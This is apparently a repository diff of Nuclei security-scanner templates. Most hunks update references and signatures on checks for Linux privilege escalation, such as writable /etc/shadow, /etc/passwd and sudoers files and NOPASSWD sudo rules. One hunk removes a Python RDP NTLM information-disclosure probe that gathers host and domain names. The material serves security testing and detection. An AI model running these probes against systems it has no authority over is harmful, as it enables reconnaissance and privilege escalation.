- 'XFR size: [1-9][0-9]* records?'
condition: and
extractors:
- type: regex
regex:
- 'SOA\s+([^\s]+)'
group: 1
# digest: 4a0a004730450220035a0e8c35c138a76af730a8b2beba052efc136bfedf13160598e9d360c3853c0221008a598f55b7c84f2ac2dbc10e1831976297c3b5cfec55eaa95ddfde27e0fd62cc:922c64590222798bb761d5b6d8e72950
@@ -6,8 +6,8 @@ info:
severity: high
description: |
The term "pexec" typically refers to the "privileged execution" of a command or program.
reference:
- https://gtfobins.github.io/gtfobins/pexec/
reference: |
https://gtfobins.github.io/gtfobins/pexec/
metadata:
verified: true
max-request: 3
@@ -46,4 +46,4 @@ code:
- 'contains(code_2_response, "root")'
- 'contains(code_3_response, "root")'
condition: or
# digest: 4a0a00473045022100de37bdf596ffb4626b12296c771186fec148695b0eddf24491a7861479a76d6a022033304a3c5d01e3f2037c9f35445b551dd13f1344c828348c59972410e6b5b1f4:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450221009edb614e28a065546cc8fafe7499dcfbffc2d5635ea4dfcdd9cb6aa61a7b664f022012a2c7395c97ef6db907e2e171073c5654f2cf5c48c7e29c5487b3429f174282:922c64590222798bb761d5b6d8e72950
@@ -6,8 +6,7 @@ info:
severity: high
description: |
The run-parts command in Linux is used to run all the executable files in a directory. It is commonly used for running scripts or commands located in a specific directory, such as system maintenance scripts in /etc/cron.daily. The run-parts command provides a convenient way to execute multiple scripts or commands in a batch manner.
reference:
- https://gtfobins.github.io/gtfobins/run-parts/
reference: https://gtfobins.github.io/gtfobins/run-parts/
metadata:
verified: true
max-request: 3
@@ -46,4 +45,4 @@ code:
- 'contains(code_2_response, "root")'
- 'contains(code_3_response, "root")'
condition: or
# digest: 4b0a00483046022100b45cb313219a24e71be199e7965444e8eae74df5d45845795d2ae512636cd45602210091d4f511f1df6a3c3aa0902004aa7a82bb389ac64628a877ac785feca59559e6:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502203c27143ba06ddc09168f9b472e4bb6ebda812ba9bef6bfe56aa200aa59f8b96a022100a9c9bac8a191a714b64848b444f9100ccb89420961c5d53377e1278b3942e51a:922c64590222798bb761d5b6d8e72950
@@ -5,8 +5,7 @@ info:
author: daffainfo
severity: high
reference:
- https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#passwdshadow-files
- https://man7.org/linux/man-pages/man5/shadow.5.html
- https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-etc-shadow
metadata:
verified: true
max-request: 2
@@ -43,4 +42,4 @@ code:
words:
- "Not readable and not writable"
negative: true
# digest: 490a0046304402207974e0cc03df2c2f1939ed4abd700a9662e8ff35d9b5cad24208b6df3171a25402206d0c24abe4e2825e256bea8295182d242d4c39417906c01b9e000ba724250801:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100eb188c9515d521fa04359befea4e72a984d0fb008f92fedb7026fbdf0e3cb93b02200b58a0d7ff63a300b598ceaeed8bf03e78c1a78ce63472fdf6c526a07814e53c:922c64590222798bb761d5b6d8e72950
@@ -5,7 +5,7 @@ info:
author: daffainfo
severity: high
reference:
- https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html?highlight=%2Fetc%2Fsudoers#etcsudoers-etcsudoersd
- https://book.hacktricks.xyz/linux-hardening/privilege-escalation#etc-sudoers-etc-sudoers.d
metadata:
verified: true
max-request: 2
@@ -42,4 +42,4 @@ code:
words:
- "Not readable and not writable"
negative: true
# digest: 4a0a0047304502204b486f9634aee66597295d7afdc3039538318a8c75cc91e4995945afc621e91f022100bd4700f836ab41d9fa788d3608ec37a8b4df3acd1984170a14b15438eaa1ef60:922c64590222798bb761d5b6d8e72950
# digest: 490a004630440220058488f0abb109eeda0bb09699d34242875b4af49c51688db2197fd166f508e0022048ed2cfffb8b7b256a3eb1710ebf6a77dc391cc0d20314008b321708803f4881:922c64590222798bb761d5b6d8e72950
@@ -6,7 +6,7 @@ info:
severity: high
description: Sudo configuration might allow a user to execute some command with another user's privileges without knowing the password.
reference:
- https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#nopasswd
- https://book.hacktricks.xyz/linux-hardening/privilege-escalation#nopasswd
metadata:
verified: true
tags: code,linux,sudo,privesc,local
@@ -24,4 +24,4 @@ code:
part: code_1_response
words:
- "(root) NOPASSWD:"
# digest: 4b0a00483046022100fc332830334e18132f3b3ba33a57c0d646f7b4ec9fb6a83849c70aa877efffe2022100c780fc0fccad8542da4cca4eaa21c354115cb95d6c3fa910fb5ce6c55821d829:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502203fed09936acd0184f8239fbd5bfd5caea9650d83284dd7ad0e33f40af198b873022100b17205cf173f893e2d803afa4c1049bf300c329e2830b439cecbbb679cd11f07:922c64590222798bb761d5b6d8e72950
@@ -5,7 +5,7 @@ info:
author: daffainfo
severity: high
reference:
- https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-etcpasswd
- https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-etc-passwd
metadata:
verified: true
tags: code,linux,privesc,local
@@ -29,4 +29,4 @@ code:
words:
- "Not writable"
negative: true
# digest: 490a0046304402200a2dcfb2eaea839565816d82dd85b66ba2456dbbe04b3f5571d026c605a94f9c02202f0547ac07c1d33f571cbde87705304d77846d67c120b2b983502fa275396a5f:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502202a84729e697bff2f8aaf482cfe72f81d230d56c185f9f05365bed72563035d61022100b5682ab9d4331a9d97563cd593b7f3b752ad3c4a99dc5c0287b9eb9f18db9ede:922c64590222798bb761d5b6d8e72950
-112
View File
@@ -1,112 +0,0 @@
id: rdp-ntlm-info
info:
name: RDP - NTLM Information Disclosure
author: matejsmycka
severity: info
description: |
The enumeration gathered NTLM-related information from remote RDP services with Network Level Authentication (NLA) enabled. By sending an incomplete authentication request, it disclosed details such as the target’s NetBIOS and DNS names, domain, product version, and system time, which proved useful for network reconnaissance and asset profiling.
reference:
- https://nmap.org/nsedoc/scripts/rdp-ntlm-info.html
- https://svn.nmap.org/nmap/scripts/rdp-ntlm-info.nse
metadata:
verified: true
max-request: 1
tags: code,rdp,ntlm,info,enum,discovery
variables:
PORT: 3389
code:
- engine:
- py
- python3
source: |
import socket
import ssl
import struct
import os
from datetime import datetime, timezone
RDP_HOST, RDP_PORT = os.getenv('Host'), int(os.getenv('PORT'))
TIMEOUT = 5
NTLM_NEGOTIATE_BLOB = bytes.fromhex(
"30 37 A0 03 02 01 60 A1 30 30 2E 30 2C A0 2A 04 28"
"4e 54 4c 4d 53 53 50 00" # NTLMSSP signature
"01 00 00 00" # Type 1: Negotiate
"B7 82 08 E2" # Flags
"00 00" # DomainNameLen
"00 00" # DomainNameMaxLen
"00 00 00 00" # DomainNameBufferOffset
"00 00" # WorkstationLen
"00 00" # WorkstationMaxLen
"00 00 00 00" # WorkstationBufferOffset
"0A 00 63 45 00 00 00 00 0F" # Version & NTLMRevision
)
AV_PAIRS = {0x00:"EndOfList",0x01:"NetBIOS_ComputerName",0x02:"NetBIOS_DomainName",0x03:"DNS_ComputerName",0x04:"DNS_DomainName",0x05:"DNS_TreeName",0x07:"Timestamp"}
def parse_av_pairs(blob, offset, length):
info, pos, end = {}, offset, offset + length
while pos + 4 <= end:
av_id, av_len = struct.unpack("<HH", blob[pos:pos+4])
pos += 4
if av_id == 0: break
val = blob[pos:pos+av_len]; pos += av_len
key = AV_PAIRS.get(av_id, f"Unknown_{av_id}")
if av_id == 0x07 and av_len == 8:
ft = struct.unpack("<Q", val)[0]
#info[key] = datetime.fromtimestamp(ft/10_000_000-11644473600, tz=timezone.utc).isoformat()
else:
try: info[key] = val.decode("utf-16-le")
except: info[key] = val.hex()
return info
def parse_ntlm_challenge(blob):
sig_idx = blob.find(b"NTLMSSP")
if sig_idx == -1:
return None
blob = blob[sig_idx:]
info = {}
try:
if len(blob) < 12:
return None
if struct.unpack("<I", blob[8:12])[0] != 2:
return None
if len(blob) < 20:
return None
target_len = struct.unpack("<H", blob[12:14])[0]
target_offset = struct.unpack("<I", blob[16:20])[0]
if target_len > 0 and len(blob) >= target_offset + target_len:
info["Target_Name"] = blob[target_offset:target_offset+target_len].decode("utf-16-le", errors="ignore")
if len(blob) >= 48:
av_len = struct.unpack("<H", blob[40:42])[0]
av_offset = struct.unpack("<I", blob[44:48])[0]
if av_len > 0 and len(blob) >= av_offset + av_len:
info.update(parse_av_pairs(blob, av_offset, av_len))
if len(blob) >= 52:
info["Product_Version"] = f"{blob[48]}.{blob[49]}.{struct.unpack('<H', blob[50:52])[0]}"
except Exception:
return info
return info
with socket.create_connection((RDP_HOST, RDP_PORT), timeout=TIMEOUT) as sock:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with context.wrap_socket(sock, server_hostname=RDP_HOST) as conn:
conn.sendall(NTLM_NEGOTIATE_BLOB)
response = conn.recv(8192)
parsed = parse_ntlm_challenge(response)
print(parsed)
extractors:
- type: dsl
dsl:
- response
# digest: 4b0a00483046022100ec99f270e12c09f16ebd91325522989dfa0d42503ae2b3fa47b4decb5f9391d7022100c71480a8bfc8e3cbcd2c188d39111b1abaaad4ae91c1990449cb8c6570590691:922c64590222798bb761d5b6d8e72950
+50 -383
View File
File diff suppressed because it is too large. Load diff
+1 -1
View File
@@ -1 +1 @@
a8f8707a5ba704eb87ed0af91bf14b37
0846b895b4238ed92feb3c25bcebd5cd
Loaded 100 of 10135 files, more files were not shown because too many files have changed in this diff. Show more